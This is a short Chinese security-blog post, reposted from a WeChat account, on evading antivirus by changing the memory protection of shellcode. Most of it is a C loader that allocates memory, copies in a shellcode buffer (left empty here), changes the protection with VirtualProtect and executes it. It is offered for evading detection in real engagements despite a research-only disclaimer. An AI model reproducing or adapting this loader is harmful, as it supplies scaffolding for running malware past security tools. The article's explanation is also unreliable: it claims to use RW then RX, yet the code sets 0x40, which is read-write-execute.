免杀 修改shellcode内存堆的属性

admin 2024年3月10日11:22:51评论15 views字数 1006阅读3分21秒阅读模式

免责声明

      文章所涉及内容,仅供安全研究教学使用,由于传播、利用本文所提供的信息而造成的任何直接或间接的后果及损失,均由使用者本人负责,作者不为此承担任何责任

前言

众所周知:AV/EDR喜欢扫描具有RWX属性的内存区域,所以我们使用RW-RX

所使用到的函数:VirtualProtect

BOOL VirtualProtect(

  [in]  LPVOID lpAddress,

  [in]  SIZE_T dwSize,

  [in]  DWORD  flNewProtect,

  [out] PDWORD lpflOldProtect

);

上面是函数所使用到的的参数。

lpAddress:指向要变更保护属性的地址起始位置

dwSize:要更改其访问保护属性的区域的大小

flNewProtect:更改的内存属性

lpflOldProtect:内存原始属性保存地

#include <Windows.h>

int main() {

    int shellcode_size = 0;

    BOOL pt;

    DWORD oldProtect;

    unsigned char buf[] = {  };

    shellcode_size = sizeof(buf);

    LPVOID shellcode;

    shellcode = VirtualAlloc(NULL, shellcode_size, MEM_COMMIT, 0x04);

    CopyMemory(shellcode, buf, shellcode_size);

    pt = VirtualProtect(shellcode, shellcode_size, 0x40, &oldProtect);//这里我们最好把权限修改为40,使用20会报c05

    ((void(*)())shellcode)();

    //pt = VirtualProtect(buf, shellcode_size, 0x40, &oldProtect);

   //((void(*)())&buf)();

}

通过此代码的思路,我们可以想到是否可以将内存属性修改以后将shellcode复制进去,以达到欺骗杀软的作用。

免杀 修改shellcode内存堆的属性

免杀 修改shellcode内存堆的属性

当然我们直接使用他来免杀是不行的,这里我们可以有一个这种思路去配合其他方法来达到免杀的需求,更多时候我们需要灵活的思维,去应对不同的实际环境,实战环境很多时候我们无法预测,灵活变通才有好多的效果。

原文始发于微信公众号(泾弦安全):免杀 修改shellcode内存堆的属性

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年3月10日11:22:51
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   免杀 修改shellcode内存堆的属性http://cn-sec.com/archives/2562876.html

发表评论

匿名网友 填写信息